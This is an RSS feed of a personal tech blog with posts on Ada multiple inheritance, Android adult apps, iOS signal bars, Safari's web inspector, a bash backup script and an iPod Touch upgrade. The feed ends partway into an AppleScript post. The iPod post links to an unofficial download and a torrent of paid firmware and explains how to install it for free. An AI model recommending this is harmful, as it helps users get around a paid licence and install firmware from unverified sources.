<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
		xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Pragmatic Revelations &#187; Call Me a Geek</title>
	<atom:link href="http://adrianhoe.com/adrianhoe/category/call-me-a-geek/feed/" rel="self" type="application/rss+xml" />
	<link>http://adrianhoe.com/adrianhoe</link>
	<description>The Eccentric Logic of An Eclectic Mind</description>
	<lastBuildDate>Sun, 27 Nov 2011 04:24:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
	<copyright>Copyright &#xA9; Pragmatic Revelations 2011 </copyright>
	<managingEditor>mailbox@adrianhoe.com (Pragmatic Revelations)</managingEditor>
	<webMaster>mailbox@adrianhoe.com (Pragmatic Revelations)</webMaster>
	<ttl>28000</ttl>
	<image>
		<url>http://adrianhoe.com/adrianhoe/blog/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
		<title>Pragmatic Revelations</title>
		<link>http://adrianhoe.com/adrianhoe</link>
		<width>144</width>
		<height>144</height>
	</image>
	<itunes:subtitle></itunes:subtitle>
	<itunes:summary>The Eccentric Logic of An Eclectic Mind</itunes:summary>
	<itunes:keywords></itunes:keywords>
	<itunes:category text="Society &#38; Culture" />
	<itunes:author>Pragmatic Revelations</itunes:author>
	<itunes:owner>
		<itunes:name>Pragmatic Revelations</itunes:name>
		<itunes:email>mailbox@adrianhoe.com</itunes:email>
	</itunes:owner>
	<itunes:block>no</itunes:block>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://adrianhoe.com/adrianhoe/blog/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<item>
		<title>Ada and Multiple Inheritance</title>
		<link>http://adrianhoe.com/adrianhoe/2011/07/28/ada-and-multiple-inheritance/</link>
		<comments>http://adrianhoe.com/adrianhoe/2011/07/28/ada-and-multiple-inheritance/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 21:24:15 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Inheritance]]></category>
		<category><![CDATA[Multiple Inheritance]]></category>
		<category><![CDATA[Object oriented]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Symmetry]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2423</guid>
		<description><![CDATA[When developing an information system which computes real-life data, one of the most common problems a software developer may encounter is multiple inheritance. Inheritance is one of the four aspects in Object-Oriented Programming (OOP). What is Object-Oriented? Object-oriented technique organizes software as collection of discrete objects incorporate with data structures and behaviors. Take a software that [...]]]></description>
			<content:encoded><![CDATA[<p>When developing an information system which computes real-life data, one of the most common problems a software developer may encounter is multiple inheritance. Inheritance is one of the four aspects in Object-Oriented Programming (OOP).</p>
<p>What is Object-Oriented?</p>
<p>Object-oriented technique organizes software as collection of discrete objects incorporate with data structures and behaviors. Take a software that keeps records of professors and students in a university for instance. Both professor and student are person. These three entities &#8211; <em>professor</em>, <em>student</em> and <em>person</em> are objects. A <em>person</em> has data structure such as name, gender and date of birth to make things simple. Both <em>professor</em> and <em>student</em> share the same data structure of <em>person</em>. A <em>professor</em> has employee number, salary, and room number. And a <em>student</em> has student number, courses and grades. Both <em>professor</em> and <em>student</em> have different behavior: to lecture and to learn respectively. We can let <em>professor</em> and <em>student</em> to inherit the same data structure and behavior from <em>person</em>. <em>Person</em> is superclass. Both <em>professor</em> and <em>student</em> are subclass. Now both <em>professor</em> and <em>student</em> can derive data structure and behavior from superclass <em>person</em> but at the same time, both can preserve their own data structure and behavior as <em>professor</em> and <em>student</em> respectively.</p>
<p>Multiple inheritance is where a subclass inherits from more than one super class. One of the most common problems with multiple inheritance is symmetry. Let subclass <em>D</em> inherits from superclasses <em>B</em> and <em>C</em> which inherit from another superclass <em>A</em>. This is called symmetric multiple inheritance.</p>
<p>Multiple inheritance is rather problematic at linguistic level. Many object-oriented programming languages support multiple inheritance and solve the problems in such a way that usually they cause surprises to their users. In the above example, the operations in <em>A</em> can be derived to <em>B</em> and <em>C</em> and overridden in any other ways by any one of them in <em>D</em>.</p>
<p>Ada provides different approach to implement multiple inheritance by simply not allowing user to get into such problem in the first place and to force the user to break the symmetry.</p>
<p>While I slip deeper into my software design, symmetric multiple inheritance occurs. I have two classes <em>A</em> and <em>B</em> where both of them inherit from object <em>List.Node</em>. Another subclass <em>C</em> inherits both superclass <em>A</em> and <em>B</em>. Ada forces me to break the symmetry by letting <em>C</em> to have a direct inheritance from <em>A</em> plus indirect secondary inheritance of <em>B</em>.</p>
<pre><code>
package List is
   type List is limited private;
   type Access_List is access List;

   type Node is tagged private;
   type Access_Node is access all Node'Class;

private

   type Node is tagged record
      Previous : Access_Node;
      Next       : Access_Node;
   end record;

   type List is limited record
      Head    : Access_Node := null;
      Tail       : Access_Node := null;
      Current : Access_Node := null;
      Count   : Unsigned := 0;
   end record;
end List;
</code></pre>
<pre><code>
   type A is new List.Node with private;

private

   type A is new List.Node with
      record
         Id   : Integer;
         Str  : String ( 1 .. 20 ) ;
      end record;
</code></pre>
<pre><code>
   type B is new List.Node with private;

private

   type B is new List.Node with
      record
         Precision : Float;
      end record;
</code></pre>
<pre><code>
   type C is new A with private;

private

   type C is new A with
      record
         Magic : B;
         Plate   : Integer;
      end record;
</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2011/07/28/ada-and-multiple-inheritance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Android is a dirty phone</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/21/android-is-a-dirty-phone/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/21/android-is-a-dirty-phone/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 04:24:30 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Phones]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[FaceTime]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[sex]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2259</guid>
		<description><![CDATA[Android has been regarded as a savior to those who hate to be controlled and tied down by Apple’s strictly guarded iPhone. It is also one of the competitors closest to iPhone. While Apple’s latest iPhone 4 has a new feature called “FaceTime”, the Android on the other hand gets Sex. FaceTime is a feature [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" title="Android sex chat" src="http://adrianhoe.com/adrianhoe/images/blog/2010/android-sexchat.jpg" alt="Android sex chat" width="400" height="328" /></p>
<p>Android has been regarded as a savior to those who hate to be controlled and tied down by Apple’s strictly guarded iPhone. It is also one of the competitors closest to iPhone. While Apple’s latest iPhone 4 has a new feature called “FaceTime”, the Android on the other hand gets Sex.</p>
<p>FaceTime is a feature to make video call from iPhone 4 to iPhone 4 over Wi-Fi. No special account or screen name is required to make video calls. Therefore, users can forget about Skype and Apple’s iChat AV. Certainly, FaceTime is a great aide for people with hearing impairment and mute to communicate using sign language.</p>
<p>There are plenty of sex/porn apps for Android devices. There is even an adult-exclusive app store called MiKandi to cater such need. Now the store has reached a new milestone, introducing the first live adult web-cam streaming app for mobile devices called Sex Live Chat. You can read the story <a href="http://www.zdnet.com/blog/perlow/why-android-gets-sex-instead-of-facetime/13456">here</a>. With live sex chat, you can watch the party on the other side engaged in some actions, and vice versa, if you like to. I will let your imagination run wild.</p>
<p>It is pathetic for a brilliant mobile platform to resort to sexual elements to promote its use. This greatly contrasts with Apple’s iDevices where you can find a wild variety of education apps along with useful business and productivity apps, etc, more than you can imagine.</p>
<p>As a parent, I will invest in iDevices for my kids and never an Android device. The latter is well analogized to the pest in our household.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/21/android-is-a-dirty-phone/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>iOS 4.0.1</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/16/ios-4-0-1/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/16/ios-4-0-1/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 05:05:57 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[iOS 4]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2237</guid>
		<description><![CDATA[Yesterday, Apple released iOS 4 update, which was one day before its press conference. The iOS 4.0.1 has obviously made the signal bar look taller. According to various media and blogs, the update is reportedly to have new software (new formula) to calculate the signal strength and to display it more accurately. Read here and [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, Apple released iOS 4 update, which was one day before its press conference. The iOS 4.0.1 has obviously made the signal bar look taller. According to various media and blogs, the update is reportedly to have new software (new formula) to calculate the signal strength and to display it more accurately. Read <a href="http://www.cultofmac.com/apple-ships-iphone-4-0-1-update-with-new-reception-formula/51108" target="_blank">here</a> and <a href="http://www.appleinsider.com/articles/10/07/15/inside_apples_changes_to_the_iphones_signal_strength_visual_bars.html" target="_blank">here</a>.</p>
<p><img class="alignleft" title="iPhone 3GS and iOS 4.0.1" src="http://adrianhoe.com/adrianhoe/images/blog/2010/iphone3gs-signal-1.png" alt="iPhone 3GS and iOS 4.0.1" width="129" height="72" /></p>
<p>The above screenshot shows the signal bar on my iPhone 3GS with iOS 4. By comparing with the screenshot below, it is obvious that the signal bar (especially bar 1 and 2) has become taller.</p>
<p><img class="alignleft" title="iPhone 3GS and iOS 4.0.1" src="http://adrianhoe.com/adrianhoe/images/blog/2010/iphone3gs-signal-2.png" alt="iPhone 3GS and iOS 4.0.1" width="140" height="78" /></p>
<p>At the same location (my desk), I covered the back of my iPhone 3GS with my palm, the signal would drop 1 to 3 bars after about 22 seconds. After updating to iOS 4.0.1, I repeated the test. The signal bar would reduce 1 bar after more than 25 seconds.</p>
<p>Well, this is a very low tech test and is not accountable to conclude that the new software in iOS 4.0.1 has displayed the signal strength more accurately. Anyway, there is a huge difference before and after.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/16/ios-4-0-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Catching HTML bugs with Safari 5</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 00:45:28 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2185</guid>
		<description><![CDATA[A bug in a seemingly harmless HTML code had been bugging me for almost 2 weeks. I was sort of yanking my hair while trying to trace the bug which messed up the HTML page. The debugging task was even harder because I work on a HTML template with an extension .THTML. The template does [...]]]></description>
			<content:encoded><![CDATA[<p>A bug in a seemingly harmless HTML code had been bugging me for almost 2 weeks. I was sort of yanking my hair while trying to trace the bug which messed up the HTML page. The debugging task was even harder because I work on a HTML template with an extension <strong>.THTML</strong>. The template does not only contain standard HTML but also tags which are only recognized by AWS (Ada Web Server) . This template file is parsed by the web application (I am developing), which has AWS library, before it is dispatched as raw HTML code to a browser.</p>
<p>In my design, I break down the HTML template into header, body and footer so that I can reuse the common codes in header and footer. That means, all the body templates are without <span style="font-family: Courier;">&lt;html&gt;</span> tag. This missing <span style="font-family: Courier;">&lt;html&gt;</span> tag disables the syntax-coloring feature of code editor, leading to a more laborious code reading.</p>
<p>Before this, I had gone through every line of html source code in the template file umpteen times. This &#8220;obscure&#8221; bug, if not removed, would throw a monkey wrench in my works. I browsed the Internet and read articles in hope that I would get some clues. So, I was reading a few articles about Extensions in Safari 5. Extensions are not really impressive to me as I do not need to add missing functionalities to my browser. Safari itself is more than enough for my daily browsing activities. Somehow, my curiosity had driven me to enable the <strong>Develop</strong> menu in Safari 5. After activating it, I noticed some debugging tools in the menu. I enabled the web inspector by selecting <strong>Show Web Inspector</strong> in the <strong>Develop</strong> menu (Figure 1) then navigated to the web page I wanted to debug. To use these debugging tools, the <strong>Develop</strong> menu must first be activated. <a href="http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/" target="_blank">Here</a> is a simple guide to enabling the menu.</p>
<div class="wp-caption aligncenter" style="width: 410px"><img title="Safari 5" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-menu.png" alt="Safari 5" width="400" height="214" /><p class="wp-caption-text">Figure 1</p></div>
<p>Safari 5 immediately detected two error messages as shown in Figure 2. These two errors were easily corrected. After removing these unmatched <span style="font-family: Courier;">&lt;/div&gt;</span> tags, my web page still did not show up properly with the intended layout.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect1.png" alt="Safari 5 Show Web Inspector" width="500" height="215" /><p class="wp-caption-text">Figure 2</p></div>
<p>Then I selected the <strong>Elements</strong> tab and it showed me the page source in debugging mode as shown in Figure 3. I instantly spotted the <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tag which was supposed to be in the <span style="font-family: Courier;">&lt;div id=&#8221;container&#8221;&gt;</span> tag.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect2.png" alt="Safari 5 Show Web Inspector" width="500" height="182" /><p class="wp-caption-text">Figure 3</p></div>
<p>I clicked on the little grey triangles in the left pane to expand the <span style="font-family: Courier;">&lt;div id=&#8221;container&#8221;&gt;</span> tag and the <span style="font-family: Courier;">&lt;form&gt;</span> tag. There were two <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tags (labelled as &#8220;1&#8243; in Figure 4) and the one in label &#8220;2&#8243; was supposed to be right after them.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect3.png" alt="Safari 5 Show Web Inspector" width="500" height="225" /><p class="wp-caption-text">Figure 4</p></div>
<p>I checked the source file again and they seemed to be in the correct place. Further investigation finally reviewed that there were two very tiny typos lurking somewhere within the second <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tag as shown in Figure 5.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect4.png" alt="Safari 5 Show Web Inspector" width="500" height="343" /><p class="wp-caption-text">Figure 5</p></div>
<p>The web inspector in Safari 5 has helped me to identify errors effortlessly. If only I had such inquisitiveness two weeks ago, I would have saved so much time and efforts in debugging my HTML codes. An proverb says: &#8220;Curiosity killed the cat.&#8221; It is not always true, at least in this case. I will say: &#8220;Curiosity saved the donkey.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enable Develop menu in Safari 5</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 04:09:17 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2179</guid>
		<description><![CDATA[One of the new features for Safari 5 is the Develop mode. It allows web developers to debug HTML code on Safari. Before you can use this feature, you must enable the Develop menu first. Here&#8217;s how you can do it: Click on Safari menu and select Preferences. In the preferences window, select the Advanced [...]]]></description>
			<content:encoded><![CDATA[<p>One of the new features for Safari 5 is the Develop mode. It allows web developers to debug HTML code on Safari. Before you can use this feature, you must enable the Develop menu first. Here&#8217;s how you can do it:</p>
<p>Click on Safari menu and select Preferences. In the preferences window, select the <strong>Advanced</strong> tab and then click the checkbox for <strong>Show Develop menu in menu bar</strong>.</p>
<p style="text-align: center;"><img class="aligncenter" title="Safari 5" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-preferences.png" alt="Safari 5" width="400" height="204" /></p>
<p>The Develop menu will then appear in Safari menu bar. Select <strong>Show Web Inspector</strong> to inspect your HTML code. You can also activate extensions support by selecting <strong>Enable Extensions</strong> in Develop menu. Extensions let you add those missing features.</p>
<p style="text-align: center;"><img class="aligncenter" title="Safaru 5" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-menu.png" alt="Safari 5" width="400" height="214" /></p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Automated backup</title>
		<link>http://adrianhoe.com/adrianhoe/2009/09/30/automated-backup/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/09/30/automated-backup/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 04:48:34 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Solaris]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[scp]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[Subversion]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1835</guid>
		<description><![CDATA[Since August 18, my software development work has been picking up its pace and I have checked in more works more often, at least five times on single productive day. Ever since, I have been manually backing up Subversion directory using tar. My project server is fornax. Fornax is a 6-year old PC running Ubuntu. [...]]]></description>
			<content:encoded><![CDATA[<p>Since August 18, my software development work has been picking up its pace and I have checked in more works more often, at least five times on single productive day. Ever since, I have been manually backing up Subversion directory using tar. My project server is fornax.</p>
<p>Fornax is a 6-year old PC running Ubuntu. It wasn&#8217;t working properly due to the cooling fan in its power supply unit. Until about two weeks ago, I replaced the old fan. I am not very confident about the replacement because it is a third party part and the replacement isn&#8217;t as good as expected, but it works. I have to shut it down every night before going to bed.</p>
<p>So, the last thing before I go to bed is to backup the svn directory and then shutdown the server. I am quite fed up with this extra manual works. Last night, before going to bed, I decided to automate this process. And I did it this morning.</p>
<p>I wrote a simple bash shell script to do the backup. I <span style="font-family:Courier;">cron</span> it so that the process will start automatically at 2300 hours and then shutdown.</p>
<pre><code>
#!/bin/bash

BACKUPFILE=/tmp/backups/svn-$(date +%Y%m%d).tar.gz

rm /tmp/backups/svn-*.gz
tar -cj /svn &gt; $BACKUPFILE
for COMPUTER in host1 host2
do
   scp $BACKUPFILE user@$COMPUTER:Desktop/
done
/sbin/shutdown -h +5
</code></pre>
<p><strong>UPDATE (05/10/2009)</strong>: I setup a password-less <span style="font-family:Courier;">ssh</span> login so that no password is required for <span style="font-family:Courier;">scp</span> (secured copy). Now, after the backup, the backup file will be copied automatically to two other computers for safe keeping.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/09/30/automated-backup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPhone 3.0 Software Update</title>
		<link>http://adrianhoe.com/adrianhoe/2009/06/28/iphone-30-software-update/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/06/28/iphone-30-software-update/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 16:26:21 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Gadgets]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[iPod Touch]]></category>
		<category><![CDATA[iTunes]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1776</guid>
		<description><![CDATA[A couple of weeks ago, the iPhone 3.0 software update was official launched. I connected my iPod Touch to iTunes 8.2 and clicked Update. Unfortunately, iTunes said that the update wasn&#8217;t available at iTunes Malaysia store. I wasn&#8217;t very happy with the service Apple has provided. The update was supposed to be free but it [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of weeks ago, the iPhone 3.0 software update was official launched. I connected <a href="http://adrianhoe.com/adrianhoe/2009/01/29/ipod-touch/" target="_blank">my iPod Touch</a> to iTunes 8.2 and clicked Update. Unfortunately, iTunes said that the update wasn&#8217;t available at iTunes Malaysia store. I wasn&#8217;t very happy with the service Apple has provided. The update was supposed to be free but it would cost me US$9.95 to upgrade my iPod Touch to iPhone 3.0.</p>
<p>Here&#8217;s the screenshots (click to enlarge):<span id="more-1776"></span></p>
<p><a href="Javascript:launch('http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-1.png','scrollbars=no,menubar=no,toolbar=no,status=no,width=743,height=454,resizable=no')"><img class="alignnone" title="iPod 3.0" src="http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-1-small.png" alt="" width="400" height="244" /></a></p>
<p>On this page, it says &#8220;iPhone 3.0 Software Update for iPod Touch &#8211; Already have an iPhone? Update it with new features, free.</p>
<p><a href="Javascript:launch('http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-2.png','scrollbars=no,menubar=no,toolbar=no,status=no,width=783,height=494,resizable=no')"><img class="alignnone" title="iPhone 3.0" src="http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-2-small.png" alt="" width="400" height="252" /></a></p>
<p>On the other page, it says &#8220;Download software update. Only US$9.95.&#8221;</p>
<p><img class="alignnone" title="iPhone 3.0" src="http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-3.png" alt="" width="450" height="358" /></p>
<p>On the page found at Singapore site, it says &#8220;Buy now for $9.95&#8243;</p>
<p>I hate misleading advertisement. I checked various websites and found out that iPhone owners are entitled for free update but the iPod Touch owners are not. What the &#8230;.</p>
<p>I am not going to pay for the f&amp;$@*?# update so I searched the web. I found one blogger from Sarawak has written a blog entry about this. I also found some links to download the free iPhone 3.0 <a href="http://ninezerothree.wordpress.com/2009/06/18/ipod-touch-os-3-0-free-upgrade/" target="_blank">here</a>.</p>
<p>It seems like, according to <a href="http://ninezerothree.wordpress.com/2009/06/18/ipod-touch-os-3-0-free-upgrade/" target="_blank">dzimonotion</a>, Apple has mistaken published a free upgrade for download but the link has been taken down later. Someone was quick enough to discover that and downloaded the free upgrade and sharing it now.</p>
<p>You can download the iPhone 3.0 free upgrade <a href="http://www.felixbruns.de/iPod/firmware/" target="_blank">here</a> or here is a <a href="http://www.mininova.org/tor/2695272" target="_blank">torrent link</a>.</p>
<p>After downloading, connect your iPod Touch and option click the Update button in iTunes (8.2 or later). Look for a .ipsw file and select. The upgrade will begin immediately. The upgrading process will take a while. Do not disconnect your iPod Touch. When the upgrading process is completed, your iPod Touch will reboot. Enjoy!</p>
<p>Now, I can connect a bluetooth stereo headset (I don&#8217;t have one now), I can do copy-cut-paste, etc. Check the Apple website for new features in iPhone 3.0 Update.</p>
<p>Not too long ago, I wrote an article about Apple&#8217;s business practice, <a href="http://adrianhoe.com/adrianhoe/2009/03/13/is-apple-dirty/" target="_blank">Is Apple Dirty?</a> Why iPhone owners are entitled for free upgrade? Why iPod Touch owners are not? Now, you judge.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/06/28/iphone-30-software-update/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Backup your Mac with AppleScript</title>
		<link>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 15:45:50 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[AppleScript]]></category>
		<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[rsync]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1688</guid>
		<description><![CDATA[All programmers are lazy. They want to automate tasks as much as they can. Because of this uniquely great habit, they have developed countless of useful software. Ok. I am lazy. I have been using rsync to sync folders I am working on between my Macs. I have been using command line scripts in Terminal for [...]]]></description>
			<content:encoded><![CDATA[<p>All programmers are lazy. They want to automate tasks as much as they can. Because of this uniquely great habit, they have developed countless of useful software.</p>
